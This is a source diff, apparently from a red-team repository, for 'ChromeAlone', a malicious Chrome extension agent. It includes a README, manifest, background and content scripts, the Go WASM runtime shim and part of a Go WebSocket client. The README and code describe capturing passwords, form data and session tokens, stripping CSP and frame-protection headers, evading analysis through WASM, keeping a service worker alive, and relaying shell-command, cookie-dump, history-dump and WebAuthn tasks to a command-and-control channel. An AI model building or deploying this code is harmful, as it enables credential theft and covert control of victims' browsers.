# Set Go environment variables
ENV GOROOT=/usr/local/go
ENV GOPATH=/go
ENV PATH=$GOROOT/bin:$GOPATH/bin:$PATH
# Create Go workspace
RUN mkdir -p $GOPATH/src $GOPATH/bin
# Verify Go installation
RUN go version
# Install .NET SDK directly from Microsoft
RUN mkdir -p /usr/share/dotnet && \
curl -SL https://dotnet.microsoft.com/download/dotnet/scripts/v1/dotnet-install.sh -o dotnet-install.sh && \
chmod +x dotnet-install.sh && \
./dotnet-install.sh --channel 8.0 --install-dir /usr/share/dotnet && \
ln -s /usr/share/dotnet/dotnet /usr/bin/dotnet && \
rm dotnet-install.sh
# Verify .NET installation
RUN dotnet --info
# Install AWS CLI
RUN curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" \
&& unzip awscliv2.zip \
&& ./aws/install \
&& rm -rf aws awscliv2.zip
# Install Terraform
RUN wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | tee /usr/share/keyrings/hashicorp-archive-keyring.gpg \
&& echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/hashicorp.list \
&& apt-get update && apt-get install -y terraform
# Create directory for AWS credentials
RUN mkdir -p /root/.aws
# Copy the build script
COPY build.sh /build.sh
RUN chmod +x /build.sh
# Set environment variables for .NET
ENV DOTNET_ROOT="/usr/share/dotnet"
ENV PATH="${PATH}:/usr/share/dotnet"
# Set working directory
WORKDIR /project
# Set the entrypoint to the build script
ENTRYPOINT ["/build.sh"]
CMD []
+180
View File
@@ -0,0 +1,180 @@
# HOTWHEELS - Browser Extension Agent Component
## Overview
HOTWHEELS is the primary browser extension agent of ChromeAlone that executes on target systems. It combines a traditional Chrome extension architecture with WebAssembly (WASM) modules to provide advanced capabilities while evading detection. The extension serves as the main execution environment for ChromeAlone operations within the browser context.
## What is HOTWHEELS?
HOTWHEELS is a sophisticated browser extension that:
1. **Maintains Persistent Execution** - Runs continuously in the browser background
2. **Executes WASM Payloads** - Loads compiled Go code for advanced functionality
3. **Monitors User Activity** - Captures form data, keystrokes, and authentication events
## Technical Deep Dive
### Chrome Extension Architecture
#### Understanding Chrome Extension Components
Modern Chrome extensions (Manifest V3) consist of several contexts:
**Service Worker (Background Script)**:
- Persistent execution environment that survives tab closures
- Handles extension lifecycle and inter-component communication
- Has access to all Chrome APIs and can make network requests
- Cannot directly access webpage DOM content
**Content Scripts**:
- Execute in the context of web pages
- Can access and modify webpage DOM
- Run in isolated JavaScript worlds separate from page scripts
- Limited Chrome API access for security
**Extension Manifest**:
- Declares permissions, resources, and behavioral policies
- Defines content script injection rules and execution timing
- Specifies service worker and web-accessible resources
#### HOTWHEELS Extension Structure
**Manifest Configuration (`manifest.json`)**:
```json
{
"manifest_version": 3,
"name": "ChromeAlone",
"permissions": [
"activeTab", "background", "clipboardRead", "cookies",
"declarativeNetRequest", "history", "nativeMessaging",
"scripting", "tabs"
],
"host_permissions": ["<all_urls>"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["wasm/wasm_exec.js", "content.js"],
"run_at": "document_end"
}
]
}
```
**Permission Analysis**:
- `<all_urls>` - Universal website access
- `nativeMessaging` - Communication with native applications
- `declarativeNetRequest` - Network request modification (mainly used by PAINTBUCKET)
- `scripting` - Dynamic code injection capabilities
- `clipboardRead` - Access to clipboard contents
### WebAssembly (WASM) Integration
#### Understanding WebAssembly in Browser Extensions
WebAssembly provides several advantages for malicious extensions:
**Performance Benefits**:
- Near-native execution speed for computationally intensive tasks
- Efficient binary format reduces payload size
- Compiled code is harder to analyze than JavaScript
**Security Evasion**:
- Binary format obscures functionality from static analysis
- Traditional JavaScript-based security tools may not analyze WASM
- Can implement complex algorithms that would be obvious in JavaScript
**Language Flexibility**:
- Allows using languages like Go, Rust, or C++ in browser environment
- Enables code reuse from existing native tools and libraries
#### HOTWHEELS WASM Architecture
**Background Script WASM Loading (`background.js`)**:
```javascript
async function Startup() {
if (globalThis.started) return;
globalThis.started = true;
const go = new Go(); // Go WASM runtime
WebAssembly.instantiateStreaming(
fetch('./wasm/background.wasm'),
go.importObject
).then(result => {
go.run(result.instance); // Execute Go code
});
}
```
**Content Script WASM Loading (`content.js`)**:
```javascript
async function loadWASM() {
const go = new Go();
const wasmModule = await WebAssembly.instantiateStreaming(
fetch(chrome.runtime.getURL('wasm/main.wasm')),
go.importObject
);
go.run(wasmModule.instance);
}
```
**Dual WASM Architecture**:
- `background.wasm` - Executes in service worker context with full extension privileges
- `main.wasm` - Executes in content script context with DOM access
- Each WASM module contains compiled Go code for specific functionality. Code for these capabilities can be found in the the `wasm` folder within this project.
### Go-Based WASM Implementation
#### Background Script Functionality (`wasm/background-script/`)
The background WASM module (`background.wasm`) handles:
**Network Security Bypass**:
- Removes Content Security Policy headers via `declarativeNetRequest`
- Disables X-Frame-Options and other security headers
- Enables arbitrary code injection into protected websites
**Extension Lifecycle Management**:
- Maintains persistent execution across browser restarts
- Handles communication with the ChromeAlone Isolated Web Application (BLOWTORCH) which handles communications with the command & control server.
- Coordinates with other ChromeAlone components
#### Content Script Functionality (`wasm/content-script/`)
The content WASM module (`main.wasm`) provides:
**Form Data Interception**:
- Monitors all form submissions on visited websites
- Captures usernames, passwords, and sensitive data
- Tracks authentication flows and session tokens
**DOM Manipulation**:
- Modifies webpage content in real-time
- Injects malicious JavaScript into page execution context
- Monitors user interactions and input events
### Persistence and Evasion Mechanisms
#### Service Worker Persistence
Chrome's Manifest V3 architecture uses service workers that can be terminated to save resources. In order to make sure that our background script runs forever, HOTWHEELS implements several persistence techniques:
**Keep-Alive Mechanism**:
```javascript
// Prevent service worker termination - this is a necessary hack or our worker will be suspended
const keepAlive = () => setInterval(chrome.runtime.getPlatformInfo, 20e3);
chrome.runtime.onStartup.addListener(keepAlive);
keepAlive();
```
**Multi-Trigger Startup**:
```javascript
// Handle various startup scenarios
chrome.runtime.onInstalled.addListener(Startup);
chrome.runtime.onStartup.addListener(Startup);
setTimeout(Startup, 5000); // Fallback for race conditions
```
#### Detection Evasion
**WASM Code Obscuration**:
- Binary format makes reverse engineering difficult
- Go compilation produces optimized machine code
- Function names and debug symbols are stripped
+42
View File
@@ -0,0 +1,42 @@
try {
importScripts('./wasm/wasm_exec.js')
} catch (e) {
console.error(e);
}
globalThis.started = false;
async function Startup() {
if (globalThis.started) {
console.log("HOTWHEELS: ALREADY STARTED - SKIPPING STARTUP");
return;
}
globalThis.started = true;
const go = new Go();
WebAssembly.instantiateStreaming(fetch('./wasm/background.wasm'), go.importObject).then(result => {
go.run(result.instance);
});
}
chrome.runtime.onInstalled.addListener(async function() {
await Startup();
});
chrome.runtime.onStartup.addListener(async function() {
await Startup();
});
console.log("HOTWHEELS: RUNNING BACKGROUND SCRIPT");
// On initial sideload there is a race condition where the chrome.runtime listeners don't run - this handles that case
setTimeout(async () => {
await Startup();
console.log("HOTWHEELS: INVOKED DELAYED STARTUP");
}, 5000);
// Hack to prevent the background script from being killed via
// https://stackoverflow.com/questions/66618136/persistent-service-worker-in-chrome-extension
const keepAlive = () => setInterval(chrome.runtime.getPlatformInfo, 20e3);
chrome.runtime.onStartup.addListener(keepAlive);
keepAlive();
+34
View File
@@ -0,0 +1,34 @@
(function() {
'use strict';
async function loadWASM() {
try {
const go = new Go();
const wasmModule = await WebAssembly.instantiateStreaming(
fetch(chrome.runtime.getURL('wasm/') + 'main.wasm'),
go.importObject
);
go.run(wasmModule.instance);
} catch (error) {
console.error('Failed to load WASM module.');
console.error('Full error details:', {
name: error.name,
message: error.message,
stack: error.stack,
toString: error.toString()
});
return false;
}
return true;
}
// Load WASM and provide user feedback
loadWASM().then(success => {
if (success) {
console.log('Content Script loaded successfully');
} else {
console.warn('Content Script failed to load WASM - some features may not work');
}
}).catch(error => {
console.error('WASM loading failed:', error);
});
})();
+52
View File
@@ -0,0 +1,52 @@
{
"manifest_version": 3,
"name": "ChromeAlone",
"version": "1.0",
"description": "",
"permissions": [
"activeTab",
"background",
"clipboardRead",
"cookies",
"declarativeNetRequest",
"history",
"nativeMessaging",
"scripting",
"tabs"
],
"host_permissions": [
"<all_urls>"
],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["wasm/wasm_exec.js", "content.js"],
"run_at": "document_end"
},
{
"matches": ["<all_urls>"],
"js": ["maintoisolated.js"],
"all_frames": true,
"run_at": "document_start"
},
{
"matches": ["<all_urls>"],
"js": ["inject.js"],
"run_at": "document_start",
"all_frames": true,
"world": "MAIN"
}
],
"content_security_policy": {
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"
},
"background": {
"service_worker": "background.js"
},
"web_accessible_resources": [
{
"resources": ["wasm/main.wasm", "wasm/background.wasm"],
"matches": ["<all_urls>"]
}
]
}
+561
View File
@@ -0,0 +1,561 @@
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
"use strict";
(() => {
const enosys = () => {
const err = new Error("not implemented");
err.code = "ENOSYS";
return err;
};
if (!globalThis.fs) {
let outputBuf = "";
globalThis.fs = {
constants: { O_WRONLY: -1, O_RDWR: -1, O_CREAT: -1, O_TRUNC: -1, O_APPEND: -1, O_EXCL: -1 }, // unused
writeSync(fd, buf) {
outputBuf += decoder.decode(buf);
const nl = outputBuf.lastIndexOf("\n");
if (nl != -1) {
console.log(outputBuf.substring(0, nl));
outputBuf = outputBuf.substring(nl + 1);
}
return buf.length;
},
write(fd, buf, offset, length, position, callback) {
if (offset !== 0 || length !== buf.length || position !== null) {
callback(enosys());
return;
}
const n = this.writeSync(fd, buf);
callback(null, n);
},
chmod(path, mode, callback) { callback(enosys()); },
chown(path, uid, gid, callback) { callback(enosys()); },
close(fd, callback) { callback(enosys()); },
fchmod(fd, mode, callback) { callback(enosys()); },
fchown(fd, uid, gid, callback) { callback(enosys()); },
fstat(fd, callback) { callback(enosys()); },
fsync(fd, callback) { callback(null); },
ftruncate(fd, length, callback) { callback(enosys()); },
lchown(path, uid, gid, callback) { callback(enosys()); },
link(path, link, callback) { callback(enosys()); },
lstat(path, callback) { callback(enosys()); },
mkdir(path, perm, callback) { callback(enosys()); },
open(path, flags, mode, callback) { callback(enosys()); },
read(fd, buffer, offset, length, position, callback) { callback(enosys()); },
readdir(path, callback) { callback(enosys()); },
readlink(path, callback) { callback(enosys()); },
rename(from, to, callback) { callback(enosys()); },
rmdir(path, callback) { callback(enosys()); },
stat(path, callback) { callback(enosys()); },
symlink(path, link, callback) { callback(enosys()); },
truncate(path, length, callback) { callback(enosys()); },
unlink(path, callback) { callback(enosys()); },
utimes(path, atime, mtime, callback) { callback(enosys()); },
};
}
if (!globalThis.process) {
globalThis.process = {
getuid() { return -1; },
getgid() { return -1; },
geteuid() { return -1; },
getegid() { return -1; },
getgroups() { throw enosys(); },
pid: -1,
ppid: -1,
umask() { throw enosys(); },
cwd() { throw enosys(); },
chdir() { throw enosys(); },
}
}
if (!globalThis.crypto) {
throw new Error("globalThis.crypto is not available, polyfill required (crypto.getRandomValues only)");
}
if (!globalThis.performance) {
throw new Error("globalThis.performance is not available, polyfill required (performance.now only)");
}
if (!globalThis.TextEncoder) {
throw new Error("globalThis.TextEncoder is not available, polyfill required");
}
if (!globalThis.TextDecoder) {
throw new Error("globalThis.TextDecoder is not available, polyfill required");
}
const encoder = new TextEncoder("utf-8");
const decoder = new TextDecoder("utf-8");
globalThis.Go = class {
constructor() {
this.argv = ["js"];
this.env = {};
this.exit = (code) => {
if (code !== 0) {
console.warn("exit code:", code);
}
};
this._exitPromise = new Promise((resolve) => {
this._resolveExitPromise = resolve;
});
this._pendingEvent = null;
this._scheduledTimeouts = new Map();
this._nextCallbackTimeoutID = 1;
const setInt64 = (addr, v) => {
this.mem.setUint32(addr + 0, v, true);
this.mem.setUint32(addr + 4, Math.floor(v / 4294967296), true);
}
const setInt32 = (addr, v) => {
this.mem.setUint32(addr + 0, v, true);
}
const getInt64 = (addr) => {
const low = this.mem.getUint32(addr + 0, true);
const high = this.mem.getInt32(addr + 4, true);
return low + high * 4294967296;
}
const loadValue = (addr) => {
const f = this.mem.getFloat64(addr, true);
if (f === 0) {
return undefined;
}
if (!isNaN(f)) {
return f;
}
const id = this.mem.getUint32(addr, true);
return this._values[id];
}
const storeValue = (addr, v) => {
const nanHead = 0x7FF80000;
if (typeof v === "number" && v !== 0) {
if (isNaN(v)) {
this.mem.setUint32(addr + 4, nanHead, true);
this.mem.setUint32(addr, 0, true);
return;
}
this.mem.setFloat64(addr, v, true);
return;
}
if (v === undefined) {
this.mem.setFloat64(addr, 0, true);
return;
}
let id = this._ids.get(v);
if (id === undefined) {
id = this._idPool.pop();
if (id === undefined) {
id = this._values.length;
}
this._values[id] = v;
this._goRefCounts[id] = 0;
this._ids.set(v, id);
}
this._goRefCounts[id]++;
let typeFlag = 0;
switch (typeof v) {
case "object":
if (v !== null) {
typeFlag = 1;
}
break;
case "string":
typeFlag = 2;
break;
case "symbol":
typeFlag = 3;
break;
case "function":
typeFlag = 4;
break;
}
this.mem.setUint32(addr + 4, nanHead | typeFlag, true);
this.mem.setUint32(addr, id, true);
}
const loadSlice = (addr) => {
const array = getInt64(addr + 0);
const len = getInt64(addr + 8);
return new Uint8Array(this._inst.exports.mem.buffer, array, len);
}
const loadSliceOfValues = (addr) => {
const array = getInt64(addr + 0);
const len = getInt64(addr + 8);
const a = new Array(len);
for (let i = 0; i < len; i++) {
a[i] = loadValue(array + i * 8);
}
return a;
}
const loadString = (addr) => {
const saddr = getInt64(addr + 0);
const len = getInt64(addr + 8);
return decoder.decode(new DataView(this._inst.exports.mem.buffer, saddr, len));
}
const timeOrigin = Date.now() - performance.now();
this.importObject = {
_gotest: {
add: (a, b) => a + b,
},
gojs: {
// Go's SP does not change as long as no Go code is running. Some operations (e.g. calls, getters and setters)
// may synchronously trigger a Go event handler. This makes Go code get executed in the middle of the imported
// function. A goroutine can switch to a new stack if the current stack is too small (see morestack function).
// This changes the SP, thus we have to update the SP used by the imported function.
// func wasmExit(code int32)
"runtime.wasmExit": (sp) => {
sp >>>= 0;
const code = this.mem.getInt32(sp + 8, true);
this.exited = true;
delete this._inst;
delete this._values;
delete this._goRefCounts;
delete this._ids;
delete this._idPool;
this.exit(code);
},
// func wasmWrite(fd uintptr, p unsafe.Pointer, n int32)
"runtime.wasmWrite": (sp) => {
sp >>>= 0;
const fd = getInt64(sp + 8);
const p = getInt64(sp + 16);
const n = this.mem.getInt32(sp + 24, true);
fs.writeSync(fd, new Uint8Array(this._inst.exports.mem.buffer, p, n));
},
// func resetMemoryDataView()
"runtime.resetMemoryDataView": (sp) => {
sp >>>= 0;
this.mem = new DataView(this._inst.exports.mem.buffer);
},
// func nanotime1() int64
"runtime.nanotime1": (sp) => {
sp >>>= 0;
setInt64(sp + 8, (timeOrigin + performance.now()) * 1000000);
},
// func walltime() (sec int64, nsec int32)
"runtime.walltime": (sp) => {
sp >>>= 0;
const msec = (new Date).getTime();
setInt64(sp + 8, msec / 1000);
this.mem.setInt32(sp + 16, (msec % 1000) * 1000000, true);
},
// func scheduleTimeoutEvent(delay int64) int32
"runtime.scheduleTimeoutEvent": (sp) => {
sp >>>= 0;
const id = this._nextCallbackTimeoutID;
this._nextCallbackTimeoutID++;
this._scheduledTimeouts.set(id, setTimeout(
() => {
this._resume();
while (this._scheduledTimeouts.has(id)) {
// for some reason Go failed to register the timeout event, log and try again
// (temporary workaround for https://github.com/golang/go/issues/28975)
console.warn("scheduleTimeoutEvent: missed timeout event");
this._resume();
}
},
getInt64(sp + 8),
));
this.mem.setInt32(sp + 16, id, true);
},
// func clearTimeoutEvent(id int32)
"runtime.clearTimeoutEvent": (sp) => {
sp >>>= 0;
const id = this.mem.getInt32(sp + 8, true);
clearTimeout(this._scheduledTimeouts.get(id));
this._scheduledTimeouts.delete(id);
},
// func getRandomData(r []byte)
"runtime.getRandomData": (sp) => {
sp >>>= 0;
crypto.getRandomValues(loadSlice(sp + 8));
},
// func finalizeRef(v ref)
"syscall/js.finalizeRef": (sp) => {
sp >>>= 0;
const id = this.mem.getUint32(sp + 8, true);
this._goRefCounts[id]--;
if (this._goRefCounts[id] === 0) {
const v = this._values[id];
this._values[id] = null;
this._ids.delete(v);
this._idPool.push(id);
}
},
// func stringVal(value string) ref
"syscall/js.stringVal": (sp) => {
sp >>>= 0;
storeValue(sp + 24, loadString(sp + 8));
},
// func valueGet(v ref, p string) ref
"syscall/js.valueGet": (sp) => {
sp >>>= 0;
const result = Reflect.get(loadValue(sp + 8), loadString(sp + 16));
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 32, result);
},
// func valueSet(v ref, p string, x ref)
"syscall/js.valueSet": (sp) => {
sp >>>= 0;
Reflect.set(loadValue(sp + 8), loadString(sp + 16), loadValue(sp + 32));
},
// func valueDelete(v ref, p string)
"syscall/js.valueDelete": (sp) => {
sp >>>= 0;
Reflect.deleteProperty(loadValue(sp + 8), loadString(sp + 16));
},
// func valueIndex(v ref, i int) ref
"syscall/js.valueIndex": (sp) => {
sp >>>= 0;
storeValue(sp + 24, Reflect.get(loadValue(sp + 8), getInt64(sp + 16)));
},
// valueSetIndex(v ref, i int, x ref)
"syscall/js.valueSetIndex": (sp) => {
sp >>>= 0;
Reflect.set(loadValue(sp + 8), getInt64(sp + 16), loadValue(sp + 24));
},
// func valueCall(v ref, m string, args []ref) (ref, bool)
"syscall/js.valueCall": (sp) => {
sp >>>= 0;
try {
const v = loadValue(sp + 8);
const m = Reflect.get(v, loadString(sp + 16));
const args = loadSliceOfValues(sp + 32);
const result = Reflect.apply(m, v, args);
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 56, result);
this.mem.setUint8(sp + 64, 1);
} catch (err) {
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 56, err);
this.mem.setUint8(sp + 64, 0);
}
},
// func valueInvoke(v ref, args []ref) (ref, bool)
"syscall/js.valueInvoke": (sp) => {
sp >>>= 0;
try {
const v = loadValue(sp + 8);
const args = loadSliceOfValues(sp + 16);
const result = Reflect.apply(v, undefined, args);
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 40, result);
this.mem.setUint8(sp + 48, 1);
} catch (err) {
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 40, err);
this.mem.setUint8(sp + 48, 0);
}
},
// func valueNew(v ref, args []ref) (ref, bool)
"syscall/js.valueNew": (sp) => {
sp >>>= 0;
try {
const v = loadValue(sp + 8);
const args = loadSliceOfValues(sp + 16);
const result = Reflect.construct(v, args);
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 40, result);
this.mem.setUint8(sp + 48, 1);
} catch (err) {
sp = this._inst.exports.getsp() >>> 0; // see comment above
storeValue(sp + 40, err);
this.mem.setUint8(sp + 48, 0);
}
},
// func valueLength(v ref) int
"syscall/js.valueLength": (sp) => {
sp >>>= 0;
setInt64(sp + 16, parseInt(loadValue(sp + 8).length));
},
// valuePrepareString(v ref) (ref, int)
"syscall/js.valuePrepareString": (sp) => {
sp >>>= 0;
const str = encoder.encode(String(loadValue(sp + 8)));
storeValue(sp + 16, str);
setInt64(sp + 24, str.length);
},
// valueLoadString(v ref, b []byte)
"syscall/js.valueLoadString": (sp) => {
sp >>>= 0;
const str = loadValue(sp + 8);
loadSlice(sp + 16).set(str);
},
// func valueInstanceOf(v ref, t ref) bool
"syscall/js.valueInstanceOf": (sp) => {
sp >>>= 0;
this.mem.setUint8(sp + 24, (loadValue(sp + 8) instanceof loadValue(sp + 16)) ? 1 : 0);
},
// func copyBytesToGo(dst []byte, src ref) (int, bool)
"syscall/js.copyBytesToGo": (sp) => {
sp >>>= 0;
const dst = loadSlice(sp + 8);
const src = loadValue(sp + 32);
if (!(src instanceof Uint8Array || src instanceof Uint8ClampedArray)) {
this.mem.setUint8(sp + 48, 0);
return;
}
const toCopy = src.subarray(0, dst.length);
dst.set(toCopy);
setInt64(sp + 40, toCopy.length);
this.mem.setUint8(sp + 48, 1);
},
// func copyBytesToJS(dst ref, src []byte) (int, bool)
"syscall/js.copyBytesToJS": (sp) => {
sp >>>= 0;
const dst = loadValue(sp + 8);
const src = loadSlice(sp + 16);
if (!(dst instanceof Uint8Array || dst instanceof Uint8ClampedArray)) {
this.mem.setUint8(sp + 48, 0);
return;
}
const toCopy = src.subarray(0, dst.length);
dst.set(toCopy);
setInt64(sp + 40, toCopy.length);
this.mem.setUint8(sp + 48, 1);
},
"debug": (value) => {
console.log(value);
},
}
};
}
async run(instance) {
if (!(instance instanceof WebAssembly.Instance)) {
throw new Error("Go.run: WebAssembly.Instance expected");
}
this._inst = instance;
this.mem = new DataView(this._inst.exports.mem.buffer);
this._values = [ // JS values that Go currently has references to, indexed by reference id
NaN,
0,
null,
true,
false,
globalThis,
this,
];
this._goRefCounts = new Array(this._values.length).fill(Infinity); // number of references that Go has to a JS value, indexed by reference id
this._ids = new Map([ // mapping from JS values to reference ids
[0, 1],
[null, 2],
[true, 3],
[false, 4],
[globalThis, 5],
[this, 6],
]);
this._idPool = []; // unused ids that have been garbage collected
this.exited = false; // whether the Go program has exited
// Pass command line arguments and environment variables to WebAssembly by writing them to the linear memory.
let offset = 4096;
const strPtr = (str) => {
const ptr = offset;
const bytes = encoder.encode(str + "\0");
new Uint8Array(this.mem.buffer, offset, bytes.length).set(bytes);
offset += bytes.length;
if (offset % 8 !== 0) {
offset += 8 - (offset % 8);
}
return ptr;
};
const argc = this.argv.length;
const argvPtrs = [];
this.argv.forEach((arg) => {
argvPtrs.push(strPtr(arg));
});
argvPtrs.push(0);
const keys = Object.keys(this.env).sort();
keys.forEach((key) => {
argvPtrs.push(strPtr(`${key}=${this.env[key]}`));
});
argvPtrs.push(0);
const argv = offset;
argvPtrs.forEach((ptr) => {
this.mem.setUint32(offset, ptr, true);
this.mem.setUint32(offset + 4, 0, true);
offset += 8;
});
// The linker guarantees global data starts from at least wasmMinDataAddr.
// Keep in sync with cmd/link/internal/ld/data.go:wasmMinDataAddr.
const wasmMinDataAddr = 4096 + 8192;
if (offset >= wasmMinDataAddr) {
throw new Error("total length of command line and environment variables exceeds limit");
}
this._inst.exports.run(argc, argv);
if (this.exited) {
this._resolveExitPromise();
}
await this._exitPromise;
}
_resume() {
if (this.exited) {
throw new Error("Go program has already exited");
}
this._inst.exports.resume();
if (this.exited) {
this._resolveExitPromise();
}
}
_makeFuncWrapper(id) {
const go = this;
return function () {
const event = { id: id, this: this, args: arguments };
go._pendingEvent = event;
go._resume();
return event.result;
};
}
}
})();
@@ -0,0 +1,910 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/json"
"fmt"
"regexp"
"strconv"
"strings"
"syscall/js"
"time"
)
// FIRECRACKER_PORT - hardcoded port that can be easily replaced at build time
const FIRECRACKER_PORT = "38899"
// EXTENSION_NAME - can be set at build time using -ldflags "-X main.EXTENSION_NAME=your.app.name"
var EXTENSION_NAME = "com.chrome.alone" // default value
// Message chunking constants
const MAX_MESSAGE_SIZE = 32000 // Max size before chunking (leave room for JSON overhead)
const CHUNK_SIZE = 30000 // Size of each chunk
const (
MESSAGE_TYPE_FORM_DATA = "form_data"
MESSAGE_TYPE_LS_COMMAND_REQ = "ls_command_request"
MESSAGE_TYPE_LS_COMMAND_RESP = "ls_command_response"
MESSAGE_TYPE_SHELL_COMMAND_REQ = "shell_command_request"
MESSAGE_TYPE_SHELL_COMMAND_RESP = "shell_command_response"
MESSAGE_TYPE_DUMP_COOKIES_REQ = "dump_cookies_request"
MESSAGE_TYPE_DUMP_COOKIES_RESP = "dump_cookies_response"
MESSAGE_TYPE_DUMP_HISTORY_REQ = "dump_history_request"
MESSAGE_TYPE_DUMP_HISTORY_RESP = "dump_history_response"
MESSAGE_TYPE_WEB_AUTHN_REQ = "webauthn_request"
MESSAGE_TYPE_WEB_AUTHN_RESP = "webauthn_response"
// Message chunking types (outbound only)
MESSAGE_TYPE_CHUNK_START = "chunk_start"
MESSAGE_TYPE_CHUNK_DATA = "chunk_data"
MESSAGE_TYPE_CHUNK_END = "chunk_end"
)
type WebAuthnRequest struct {
Domain string `json:"domain"`
Request string `json:"request"`
TaskId string `json:"taskId"`
}
// FirecrackerClient manages WebSocket connection to FIRECRACKER server
type FirecrackerClient struct {
ws js.Value
url string
connected bool
reconnectAttempts int
maxReconnectAttempts int
reconnectDelay time.Duration
messageQueue []string
pendingWebAuthnRequest *WebAuthnRequest
// Message chunking support (outbound only)
chunkCounter int // for generating unique chunk IDs
// JavaScript callback functions
onOpenCallback js.Func
onMessageCallback js.Func
onCloseCallback js.Func
onErrorCallback js.Func
}
// NewFirecrackerClient creates a new FIRECRACKER WebSocket client
func NewFirecrackerClient() *FirecrackerClient {
client := &FirecrackerClient{
url: fmt.Sprintf("ws://127.0.0.1:%s", FIRECRACKER_PORT),
connected: false,
reconnectAttempts: 0,
maxReconnectAttempts: 10,
reconnectDelay: time.Second * 5,
messageQueue: make([]string, 0),
pendingWebAuthnRequest: nil,
chunkCounter: 0,
}
// Setup JavaScript callbacks
client.setupCallbacks()
return client
}
// setupCallbacks initializes JavaScript callback functions
func (fc *FirecrackerClient) setupCallbacks() {
fc.onOpenCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
fc.onOpen()
return nil
})
fc.onMessageCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
fc.onMessage(args[0])
}
return nil
})
fc.onCloseCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
fc.onClose(args[0])
}
return nil
})
fc.onErrorCallback = js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
fc.onError(args[0])
}
return nil
})
}
// Connect establishes WebSocket connection to FIRECRACKER server
func (fc *FirecrackerClient) Connect() {
println("FIRECRACKER: Attempting to connect to", fc.url)
// Create new WebSocket connection
websocketConstructor := js.Global().Get("WebSocket")
if websocketConstructor.IsUndefined() {
println("FIRECRACKER: WebSocket is not available")
return
}
fc.ws = websocketConstructor.New(fc.url)
// Set up event handlers
fc.ws.Set("onopen", fc.onOpenCallback)
fc.ws.Set("onmessage", fc.onMessageCallback)
fc.ws.Set("onclose", fc.onCloseCallback)
fc.ws.Set("onerror", fc.onErrorCallback)
}
// onOpen handles WebSocket connection open event
func (fc *FirecrackerClient) onOpen() {
println("FIRECRACKER: WebSocket connected successfully")
fc.connected = true
fc.reconnectAttempts = 0
// Send any queued messages
fc.flushMessageQueue()
}
// onMessage handles incoming WebSocket messages
func (fc *FirecrackerClient) onMessage(event js.Value) {
data := event.Get("data")
if data.Type() == js.TypeString {
message := data.String()
println("FIRECRACKER: Received message:", message)
// Process the message
fc.processMessage(message)
}
}
// onClose handles WebSocket connection close event
func (fc *FirecrackerClient) onClose(event js.Value) {
code := event.Get("code").Int()
reason := event.Get("reason").String()
println("FIRECRACKER: WebSocket closed - Code:", code, "Reason:", reason)
fc.connected = false
// Attempt to reconnect if within retry limits
if fc.reconnectAttempts < fc.maxReconnectAttempts {
fc.scheduleReconnect()
} else {
println("FIRECRACKER: Max reconnection attempts reached, giving up")
}
}
// onError handles WebSocket error events
func (fc *FirecrackerClient) onError(event js.Value) {
println("FIRECRACKER: WebSocket error occurred")
fc.connected = false
}
// scheduleReconnect schedules a reconnection attempt
func (fc *FirecrackerClient) scheduleReconnect() {
fc.reconnectAttempts++
delay := fc.reconnectDelay * time.Duration(fc.reconnectAttempts)
println("FIRECRACKER: Scheduling reconnection attempt", fc.reconnectAttempts, "in", delay)
// Use setTimeout to schedule reconnection
setTimeout := js.Global().Get("setTimeout")
reconnectCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
println("FIRECRACKER: Attempting reconnection", fc.reconnectAttempts, "of", fc.maxReconnectAttempts)
fc.Connect()
return nil
})
setTimeout.Invoke(reconnectCallback, int(delay.Milliseconds()))
}
// SendMessage sends a message to the FIRECRACKER server, with automatic chunking for large messages
func (fc *FirecrackerClient) SendMessage(message string) bool {
if !fc.connected || fc.ws.IsUndefined() {
println("FIRECRACKER: WebSocket not connected, queueing message:", message[:min(100, len(message))]+"...")
fc.messageQueue = append(fc.messageQueue, message)
return false
}
// Check WebSocket ready state
readyState := fc.ws.Get("readyState").Int()
if readyState != 1 { // 1 = OPEN
println("FIRECRACKER: WebSocket not ready (state:", readyState, "), queueing message:", message[:min(100, len(message))]+"...")
fc.messageQueue = append(fc.messageQueue, message)
return false
}
// Check if message needs chunking
if len(message) > MAX_MESSAGE_SIZE {
return fc.sendChunkedMessage(message)
}
// Send the message directly
fc.ws.Call("send", message)
println("FIRECRACKER: Sent message:", message[:min(200, len(message))])
return true
}
// sendChunkedMessage splits large messages into chunks and sends them
func (fc *FirecrackerClient) sendChunkedMessage(message string) bool {
fc.chunkCounter++
chunkId := fmt.Sprintf("chunk_%d_%d", time.Now().Unix(), fc.chunkCounter)
println("FIRECRACKER: Message is large (", len(message), " bytes), chunking with ID:", chunkId)
// Send start chunk
startChunk := map[string]interface{}{
"type": MESSAGE_TYPE_CHUNK_START,
"chunkId": chunkId,
"totalSize": len(message),
}
startChunkJson, _ := json.Marshal(startChunk)
fc.ws.Call("send", string(startChunkJson))
// Send data chunks
chunkNum := 0
for i := 0; i < len(message); i += CHUNK_SIZE {
end := i + CHUNK_SIZE
if end > len(message) {
end = len(message)
}
chunk := message[i:end]
dataChunk := map[string]interface{}{
"type": MESSAGE_TYPE_CHUNK_DATA,
"chunkId": chunkId,
"chunkNum": chunkNum,
"data": chunk,
}
